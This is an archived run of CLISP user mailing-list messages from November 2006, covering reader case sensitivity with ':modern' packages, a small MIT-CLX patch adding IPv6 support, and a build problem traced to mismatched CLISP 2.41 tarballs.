<4555AAF8.3070506@oogis.ru> To: clisp-list@lists.sourceforge.net, Ru Mail-followup-to: clisp-list@lists.sourceforge.net, Ru Message-id: MIME-version: 1.0 Content-type: text/plain Content-transfer-encoding: 7BIT Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. References: <4554BA5A.90304@oogis.ru> <4554BE16.1000800@gnu.org> <4555AAF8.3070506@oogis.ru> User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.90 (gnu/linux) X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: Re: [clisp-list] How to preserve cases while reading and writing files? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 12 Nov 2006 02:05:03 -0000 Hi Ruslan, > * Ru [2006-11-11 13:50:32 +0300]: > > ; SLIME 2005-12-27 this note and the non-standard prompt indicate that you are using SLIME. do you know that SLIME executes some code in the beginning of a session? what code is that? > cs-user> (with-open-file (in "C:/azmScenery/sandbox/ks3.pins")(setq x > (read in))(close in)) > t > cs-user> x > ([KSHVI1_Instance_0] of OMCircle (fillColor "1FFF00AA") (label "A1") > (latitude "53 29") > (lineColor "FFFF00AA") (longitude "167 1") (radius 30.0)) > cs-user> (defpackage :test44) > # > cs-user> (in-package :test44) > # > test44> (with-open-file (in "C:/azmScenery/sandbox/ks3.pins")(setq z > (read in))(close in)) > t > test44> z > ([kshvi1_instance_0] of omcircle (fillcolor "1FFF00AA") (label "A1") > (latitude "53 29") > (linecolor "FFFF00AA") (longitude "167 1") (radius 30.0)) > test44> > > It seems like reader works differently in defined package and in > default package. yes, of course: you appear to have started CLISP with "-modern", so CL-USER is now case-sensitive. you did not pass (:MODERN T) to DEFPACKAGE, so TEST44 is a normal case-converting package. you also appear to have *PRINT-CASE* set to :DOWNCASE. see http://clisp.cons.org/impnotes/package-case.html also, please start CLISP at the shell prompt like this: "clisp -q -norc" and copy and paste all the interaction. please clearly indicate what you expect and how it is different from what you see. -- Sam Steingold (http://sds.podval.org/) on Fedora Core release 5 (Bordeaux) http://mideasttruth.com http://thereligionofpeace.com http://ffii.org http://truepeace.org http://iris.org.il http://memri.org If a train station is a place where a train stops, what's a workstation? From sorokin@oogis.ru Sun Nov 12 03:54:34 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GjDv0-00026Q-AW for clisp-list@lists.sourceforge.net; Sun, 12 Nov 2006 03:54:34 -0800 Received: from smtp.spaceweb.ru ([217.170.76.7]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1GjDuy-0003tj-SE for clisp-list@lists.sourceforge.net; Sun, 12 Nov 2006 03:54:34 -0800 Received: from [84.17.27.177] by smtp.spaceweb.ru with esmtp (Exim 4.60) (envelope-from ) id 1GjDur-00032m-TU for clisp-list@lists.sourceforge.net; Sun, 12 Nov 2006 14:54:26 +0300 Message-ID: <45570BE4.6000802@oogis.ru> Date: Sun, 12 Nov 2006 14:56:20 +0300 From: Ru User-Agent: Thunderbird 1.5.0.5 (Windows/20060719) MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: <4554BA5A.90304@oogis.ru> <4554BE16.1000800@gnu.org> <4555AAF8.3070506@oogis.ru> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] How to preserve cases while reading and writing files? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 12 Nov 2006 11:54:34 -0000 Hello Sam, Sam Steingold wrote: > Hi Ruslan, > > >> * Ru [2006-11-11 13:50:32 +0300]: >> >> ; SLIME 2005-12-27 >> > > this note and the non-standard prompt indicate that you are using SLIME. > do you know that SLIME executes some code in the beginning of a session? > what code is that? > > >> cs-user> (with-open-file (in "C:/azmScenery/sandbox/ks3.pins")(setq x >> (read in))(close in)) >> t >> cs-user> x >> ([KSHVI1_Instance_0] of OMCircle (fillColor "1FFF00AA") (label "A1") >> (latitude "53 29") >> (lineColor "FFFF00AA") (longitude "167 1") (radius 30.0)) >> cs-user> (defpackage :test44) >> # >> cs-user> (in-package :test44) >> # >> test44> (with-open-file (in "C:/azmScenery/sandbox/ks3.pins")(setq z >> (read in))(close in)) >> t >> test44> z >> ([kshvi1_instance_0] of omcircle (fillcolor "1FFF00AA") (label "A1") >> (latitude "53 29") >> (linecolor "FFFF00AA") (longitude "167 1") (radius 30.0)) >> test44> >> >> It seems like reader works differently in defined package and in >> default package. >> > > yes, of course: > you appear to have started CLISP with "-modern", so CL-USER is now > case-sensitive. you did not pass (:MODERN T) to DEFPACKAGE, so TEST44 is > a normal case-converting package. > you also appear to have *PRINT-CASE* set to :DOWNCASE. > see http://clisp.cons.org/impnotes/package-case.html > also, please start CLISP at the shell prompt like this: > "clisp -q -norc" and copy and paste all the interaction. > please clearly indicate what you expect and how it is different from > what you see. > > > I'll try to clarify myself. Common Lisp is quite novel to me, although I am an old Lisp admirer. I prefer CLISP because it multiplatform and support Russian better than other distributions, I think so. Am I right? (defpackage :test44 (:modern t)) solved my problem of reading from file and processing case-sensitive data, but arise new problem. Somewhere inside Araneida code (simple web server I used for GUI to my programs) spring up an error: make-pathname: illegal keyword/value pair :|host|, nil in argument list. The allowed keywords are #1=(:defaults :case :host :device :directory :name :type :version) [Condition of type system::simple-keyword-error] I could not locate from the frame stack output where make-pathname was called. Moreover, full search around Araneida code did not find make-pathname call. I only locate part of my code where the error appears: (let* ((pn #P"c:/RuProjects/ScenSupport/lisp/")) (install-handler (http-listener-handler *listener*) (make-instance 'static-file-handler :pathname pn) (urlstring *ruis-url*) nil)) Sam, may be you can guess what's wrong or where to look next? Or, can you offer common decision for such task: Processing of case-sensitive data + modern user interface (not using commertial products :))? Am I bother you much? By the way, can I write to you in Russian? :) Sincerely, Ru From lisp-clisp-list@m.gmane.org Sun Nov 12 05:19:58 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GjFFe-0004Wj-6y for clisp-list@lists.sourceforge.net; Sun, 12 Nov 2006 05:19:58 -0800 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1GjFFc-0000y6-DV for clisp-list@lists.sourceforge.net; Sun, 12 Nov 2006 05:19:58 -0800 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1GjFFP-0001mg-3e for clisp-list@lists.sourceforge.net; Sun, 12 Nov 2006 14:19:43 +0100 Received: from etthundrat.olf.sgsnet.se ([193.11.222.85]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sun, 12 Nov 2006 14:19:43 +0100 Received: from mange by etthundrat.olf.sgsnet.se with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sun, 12 Nov 2006 14:19:43 +0100 X-Injected-Via-Gmane: http://gmane.org/ Mail-Followup-To: clisp-list@lists.sourceforge.net To: clisp-list@lists.sourceforge.net From: Magnus Henoch Date: Sun, 12 Nov 2006 14:19:36 +0100 Lines: 40 Message-ID: <87psbs3iqf.fsf@freemail.hu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: etthundrat.olf.sgsnet.se Mail-Copies-To: never Jabber-Id: legoscia@jabber.cd.chalmers.se User-Agent: Gnus/5.110006 (No Gnus v0.6) Emacs/22.0.90 (berkeley-unix) Cancel-Lock: sha1:yI1w4bkgXedd6tRTysFuQicN0es= Sender: news X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] MIT-CLX doesn't handle IPv6 X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 12 Nov 2006 13:19:58 -0000 When using MIT-CLX on a machine with IPv6 available, I get this error: *** - The value of XLIB::FAMILY must be one of :LOCAL, :INTERNET The value is: 6 The patch below seems to fix that. Magnus Index: clx.lisp =================================================================== RCS file: /cvsroot/clisp/clisp/modules/clx/mit-clx/clx.lisp,v retrieving revision 1.4 diff -u -r1.4 clx.lisp --- clx.lisp 13 Apr 2004 16:52:24 -0000 1.4 +++ clx.lisp 12 Nov 2006 13:13:57 -0000 @@ -98,6 +98,7 @@ (:internet . 0) (:decnet . 1) (:chaos . 2) + (:internet6 . 6) ;; X11/Xauth.h "not part of X standard" (:Local . 256) (:Wild . 65535) Index: display.lisp =================================================================== RCS file: /cvsroot/clisp/clisp/modules/clx/mit-clx/display.lisp,v retrieving revision 1.2 diff -u -r1.2 display.lisp --- display.lisp 13 Apr 2004 16:52:23 -0000 1.2 +++ display.lisp 12 Nov 2006 13:13:57 -0000 @@ -82,7 +82,7 @@ family (ecase family (:local (map 'string #'code-char address)) - (:internet (coerce address 'list))) + ((:internet :internet6) (coerce address 'list))) number name data)))))) (defun get-best-authorization (host display protocol) From sds@gnu.org Sun Nov 12 07:59:54 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GjHkP-0004j5-QE for clisp-list@lists.sourceforge.net; Sun, 12 Nov 2006 07:59:54 -0800 Received: from mta5.srv.hcvlny.cv.net ([167.206.4.200]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GjHkM-0005SV-Da for clisp-list@lists.sourceforge.net; Sun, 12 Nov 2006 07:59:53 -0800 Received: from loiso.podval.org (ool-182f780f.dyn.optonline.net [24.47.120.15]) by mta5.srv.hcvlny.cv.net (Sun Java System Messaging Server 6.2-6.01 (built Apr 3 2006)) with ESMTP id <0J8M004G4KFKMD41@mta5.srv.hcvlny.cv.net> for clisp-list@lists.sourceforge.net; Sun, 12 Nov 2006 10:59:44 -0500 (EST) Received: by loiso.podval.org (Postfix, from userid 500) id 58C9F21E082; Sun, 12 Nov 2006 10:59:44 -0500 (EST) Date: Sun, 12 Nov 2006 10:59:43 -0500 From: Sam Steingold In-reply-to: <87psbs3iqf.fsf@freemail.hu> To: clisp-list@lists.sourceforge.net Mail-followup-to: clisp-list@lists.sourceforge.net Message-id: MIME-version: 1.0 Content-type: text/plain Content-transfer-encoding: 7BIT Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. References: <87psbs3iqf.fsf@freemail.hu> User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.90 (gnu/linux) X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: Re: [clisp-list] MIT-CLX doesn't handle IPv6 X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 12 Nov 2006 15:59:54 -0000 > * Magnus Henoch [2006-11-12 14:19:36 +0100]: > > When using MIT-CLX on a machine with IPv6 available, I get this error: > > *** - The value of XLIB::FAMILY must be one of :LOCAL, :INTERNET > The value is: 6 > > The patch below seems to fix that. is this your patch? what is the "official" repository for CLX? is the patch there too? thanks! -- Sam Steingold (http://sds.podval.org/) on Fedora Core release 5 (Bordeaux) http://pmw.org.il http://dhimmi.com http://ffii.org http://openvotingconsortium.org http://truepeace.org http://memri.org If you want it done right, you have to do it yourself From sds@gnu.org Sun Nov 12 08:25:59 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GjI9f-0000fu-Md for clisp-list@lists.sourceforge.net; Sun, 12 Nov 2006 08:25:59 -0800 Received: from mta3.srv.hcvlny.cv.net ([167.206.4.198]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GjI9e-0000do-7A for clisp-list@lists.sourceforge.net; Sun, 12 Nov 2006 08:25:59 -0800 Received: from loiso.podval.org (ool-182f780f.dyn.optonline.net [24.47.120.15]) by mta3.srv.hcvlny.cv.net (Sun Java System Messaging Server 6.2-6.01 (built Apr 3 2006)) with ESMTP id <0J8M0035RLMAM450@mta3.srv.hcvlny.cv.net> for clisp-list@lists.sourceforge.net; Sun, 12 Nov 2006 11:25:23 -0500 (EST) Received: by loiso.podval.org (Postfix, from userid 500) id B4C1921E082; Sun, 12 Nov 2006 11:25:22 -0500 (EST) Date: Sun, 12 Nov 2006 11:25:22 -0500 From: Sam Steingold In-reply-to: <45570BE4.6000802@oogis.ru> To: clisp-list@lists.sourceforge.net, Ru Mail-followup-to: clisp-list@lists.sourceforge.net, Ru Message-id: MIME-version: 1.0 Content-type: text/plain Content-transfer-encoding: 7BIT Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. References: <4554BA5A.90304@oogis.ru> <4554BE16.1000800@gnu.org> <4555AAF8.3070506@oogis.ru> <45570BE4.6000802@oogis.ru> User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.90 (gnu/linux) X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: Re: [clisp-list] How to preserve cases while reading and writing files? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 12 Nov 2006 16:26:00 -0000 Hi Ruslan, > I prefer CLISP because it multiplatform and support Russian better > than other distributions, I think so. Am I right? Yes, CLISP is the best lisp wrt i18n. > (defpackage :test44 (:modern t)) solved my problem of reading from file > and processing case-sensitive data, but arise new problem. Somewhere > inside Araneida code (simple web server I used for GUI to my programs) > spring up an error: > > make-pathname: illegal keyword/value pair :|host|, nil in argument list. > The allowed keywords are #1=(:defaults > :case :host :device :directory :name :type :version) > [Condition of type system::simple-keyword-error] > > I could not locate from the frame stack output where make-pathname was > called. Moreover, full search around Araneida code did not find > make-pathname call. search for ":host" and ":HOST" (grep -i). search for "pathname". > I only locate part of my code where the error appears: > > (let* ((pn #P"c:/RuProjects/ScenSupport/lisp/")) does (pathname "c:/RuProjects/ScenSupport/lisp/") work? > (install-handler (http-listener-handler *listener*) > (make-instance 'static-file-handler :pathname pn) > (urlstring *ruis-url*) nil)) I am afraid you will need to get rid of the Araneida dependencies before I can reproduce this. load uncompiled files (remove *.fas) and see what is actually triggering this. > By the way, can I write to you in Russian? :) personal e-mails, yes. CLISP-related, no. CLISP is supported only on the mailing lists and CLISP lists are English-only. You wouldn't want to have to read German (or French) discussions here, would you? -- Sam Steingold (http://sds.podval.org/) on Fedora Core release 5 (Bordeaux) http://jihadwatch.org http://memri.org http://honestreporting.com http://truepeace.org http://openvotingconsortium.org http://ffii.org Bus error -- driver executed. From tosh@jvdsys.demon.nl Sun Nov 12 13:29:36 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GjMtU-0004Tc-Pf for clisp-list@lists.sourceforge.net; Sun, 12 Nov 2006 13:29:36 -0800 Received: from post-26.mail.nl.demon.net ([194.159.73.196]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GjMtT-0003Sa-B7 for clisp-list@lists.sourceforge.net; Sun, 12 Nov 2006 13:29:36 -0800 Received: from jvdsys.demon.nl ([83.160.182.71]:63773 helo=localhost) by post-26.mail.nl.demon.net with esmtp (Exim 4.51) id 1GjMtQ-000FNP-5J for clisp-list@lists.sourceforge.net; Sun, 12 Nov 2006 21:29:32 +0000 Date: Sun, 12 Nov 2006 22:29:31 +0100 From: Jerry van Dijk To: clisp-list@lists.sourceforge.net Message-ID: <20061112212931.GA15484@jvdsys.demon.nl> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4.2.2i X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Linux build mystery solved. X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 12 Nov 2006 21:29:37 -0000 Like Pascal I also had this weird build problem on Linux. When building CLISP I would get errors on the readline module. However, when I used -with-noreadline I got the same errors, but now for the wildcard module. When searching through the archives I got a feeling that there had been some version confusion regarding other platform builds. And indeed: I was using the CLISP 2.41 from gnu: clisp-2.41.tar.bz2 8319063 bytes (signature OK) but when I switched to the CLISP 2.41 on sourceforge: clisp-2.41.tar.bz2 8319471 bytes (no signature) the build went fine. -- -- Jerry van Dijk -- Leiden, Holland -- -- The owl of Minerva spreads its wings with the falling of the dusk. From lisp-clisp-list@m.gmane.org Sun Nov 12 14:38:01 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GjNxh-0002Lh-NB for clisp-list@lists.sourceforge.net; Sun, 12 Nov 2006 14:38:01 -0800 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1GjNxd-0004oR-OX for clisp-list@lists.sourceforge.net; Sun, 12 Nov 2006 14:38:01 -0800 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1GjNxa-0005oy-D7 for clisp-list@lists.sourceforge.net; Sun, 12 Nov 2006 23:37:54 +0100 Received: from etthundrat.olf.sgsnet.se ([193.11.222.85]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sun, 12 Nov 2006 23:37:54 +0100 Received: from mange by etthundrat.olf.sgsnet.se with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sun, 12 Nov 2006 23:37:54 +0100 X-Injected-Via-Gmane: http://gmane.org/ Mail-Followup-To: clisp-list@lists.sourceforge.net To: clisp-list@lists.sourceforge.net From: Magnus Henoch Date: Sun, 12 Nov 2006 23:37:44 +0100 Lines: 24 Message-ID: <87lkmg2sw7.fsf@freemail.hu> References: <87psbs3iqf.fsf@freemail.hu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: etthundrat.olf.sgsnet.se Mail-Copies-To: never Jabber-Id: legoscia@jabber.cd.chalmers.se User-Agent: Gnus/5.110006 (No Gnus v0.6) Emacs/22.0.90 (berkeley-unix) Cancel-Lock: sha1:4r0RyT7m74mO2iaqj4Q7MS2p6Ac= Sender: news X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] MIT-CLX doesn't handle IPv6 X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 12 Nov 2006 22:38:02 -0000 Sam Steingold writes: > is this your patch? Yes. > what is the "official" repository for CLX? Good question. http://www.cliki.net/CLX seems to say that everyone has their own version, but that telent CLX is in more widespread use than others (used in SBCL, OpenMCL and ECL). telent CLX doesn't currently work on CLISP, but that shouldn't be hard to fix. It might make sense to eventually replace MIT-CLX with telent CLX. I'm not sure how NEW-CLX relates to this. Both stumpwm and McCLIM require MIT-CLX when run on CLISP, and I imagine it makes more sense to have a common cross-implementation CLX than trying to fill the holes of NEW-CLX. > is the patch there too? For telent CLX: no, but there is a comment that this should be fixed. Magnus From sds@gnu.org Sun Nov 12 19:00:08 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GjS3L-0000An-Oz for clisp-list@lists.sourceforge.net; Sun, 12 Nov 2006 19:00:07 -0800 Received: from mta1.srv.hcvlny.cv.net ([167.206.4.196]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GjS3K-0003ey-Aa for clisp-list@lists.sourceforge.net; Sun, 12 Nov 2006 19:00:07 -0800 Received: from loiso.podval.org (ool-182f780f.dyn.optonline.net [24.47.120.15]) by mta1.srv.hcvlny.cv.net (Sun Java System Messaging Server 6.2-6.01 (built Apr 3 2006)) with ESMTP id <0J8N00506EZ64U50@mta1.srv.hcvlny.cv.net> for clisp-list@lists.sourceforge.net; Sun, 12 Nov 2006 21:59:30 -0500 (EST) Received: by loiso.podval.org (Postfix, from userid 500) id B65A021E082; Sun, 12 Nov 2006 21:59:29 -0500 (EST) Date: Sun, 12 Nov 2006 21:59:29 -0500 From: Sam Steingold In-reply-to: <87lkmg2sw7.fsf@freemail.hu> To: clisp-list@lists.sourceforge.net Mail-followup-to: clisp-list@lists.sourceforge.net Message-id: MIME-version: 1.0 Content-type: text/plain Content-transfer-encoding: 7BIT Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. References: <87psbs3iqf.fsf@freemail.hu> <87lkmg2sw7.fsf@freemail.hu> User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.90 (gnu/linux) X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: Re: [clisp-list] MIT-CLX doesn't handle IPv6 X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 13 Nov 2006 03:00:08 -0000 > * Magnus Henoch [2006-11-12 23:37:44 +0100]: > > Sam Steingold writes: > >> what is the "official" repository for CLX? > > Good question. http://www.cliki.net/CLX seems to say that everyone > has their own version, but that telent CLX is in more widespread use > than others (used in SBCL, OpenMCL and ECL). telent CLX doesn't > currently work on CLISP, but that shouldn't be hard to fix. It might > make sense to eventually replace MIT-CLX with telent CLX. I don't think MIT-CLX is much different from telent CLX, I think all we need to do is merge them. >> is the patch there too? > > For telent CLX: no, but there is a comment that this should be fixed. I suggest that you submit your patch there too. I will commit your patch to clisp as soon as you send the ChangeLog entry. thanks! -- Sam Steingold (http://sds.podval.org/) on Fedora Core release 5 (Bordeaux) http://thereligionofpeace.com http://dhimmi.com http://palestinefacts.org http://truepeace.org http://israelunderattack.slide.com http://memri.org Of course, I haven't tried it. But it will work. - Isaak Asimov From pjb@informatimago.com Sun Nov 12 20:24:34 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GjTN4-0007fc-6Z for clisp-list@lists.sourceforge.net; Sun, 12 Nov 2006 20:24:34 -0800 Received: from thalassa.informatimago.com ([62.93.174.79] helo=larissa.informatimago.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GjTN2-0000fY-9q for clisp-list@lists.sourceforge.net; Sun, 12 Nov 2006 20:24:34 -0800 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 61A65585EB; Mon, 13 Nov 2006 05:24:25 +0100 (CET) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id AB845585E6; Mon, 13 Nov 2006 05:24:21 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 731E18002; Mon, 13 Nov 2006 05:24:21 +0100 (CET) From: Pascal Bourguignon Message-ID: <17751.62325.386437.132532@thalassa.informatimago.com> Date: Mon, 13 Nov 2006 05:24:21 +0100 To: clisp-list@lists.sourceforge.net In-Reply-To: <20061112212931.GA15484@jvdsys.demon.nl> References: <20061112212931.GA15484@jvdsys.demon.nl> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&; A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA; v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-5.9 required=5.0 tests=ALL_TRUSTED,BAYES_00 autolearn=ham version=3.0.1 X-Spam-Level: Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] Linux build mystery solved. X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: pjb@informatimago.com List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 13 Nov 2006 04:24:34 -0000 Jerry van Dijk writes: > Like Pascal I also had this weird build problem on Linux. When building > CLISP I would get errors on the readline module. However, when I used > -with-noreadline I got the same errors, but now for the wildcard module= . >=20 > When searching through the archives I got a feeling that there had been > some version confusion regarding other platform builds. And indeed: >=20 > I was using the CLISP 2.41 from gnu: >=20 > clisp-2.41.tar.bz2 8319063 bytes (signature OK) >=20 > but when I switched to the CLISP 2.41 on sourceforge: >=20 > clisp-2.41.tar.bz2 8319471 bytes (no signature) >=20 > the build went fine. Indeed, I got mine from gnu.org too. Sourceforge mirror resolution is painful... ...but indeed the version at sourceforge compiles cleanly. Thanks Jerry. --=20 __Pascal Bourguignon__ http://www.informatimago.com/ "This machine is a piece of GAGH! I need dual Opteron 850 processors if I am to do battle with this code!" From Joerg-Cyril.Hoehle@t-systems.com Mon Nov 13 07:53:56 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Gje8C-0005RT-9r for clisp-list@lists.sourceforge.net; Mon, 13 Nov 2006 07:53:56 -0800 Received: from tcmail31.telekom.de ([217.6.95.238]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Gje8A-00081J-MN for clisp-list@lists.sourceforge.net; Mon, 13 Nov 2006 07:53:56 -0800 Received: from S4DE8PSAAGT.mitte.t-com.de by tcmail31.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Mon, 13 Nov 2006 16:53:33 +0100 Received: from S4DE8PSAAFQ.mitte.t-com.de ([10.151.180.5]) by S4DE8PSAAGT.mitte.t-com.de with Microsoft SMTPSVC(6.0.3790.1830); Mon, 13 Nov 2006 16:53:33 +0100 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: quoted-printable Date: Mon, 13 Nov 2006 16:53:32 +0100 X-MimeOLE: Produced By Microsoft Exchange V6.5 Message-Id: In-Reply-To: <17748.45900.983441.616083@isis.cs3-inc.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [clisp-list] An internal function segfaults (and "security") Thread-Index: AccE656VH2xBJAXRTfOitVvyTpVFMQCTn5sA From: "Hoehle, Joerg-Cyril" To: X-OriginalArrivalTime: 13 Nov 2006 15:53:33.0733 (UTC) 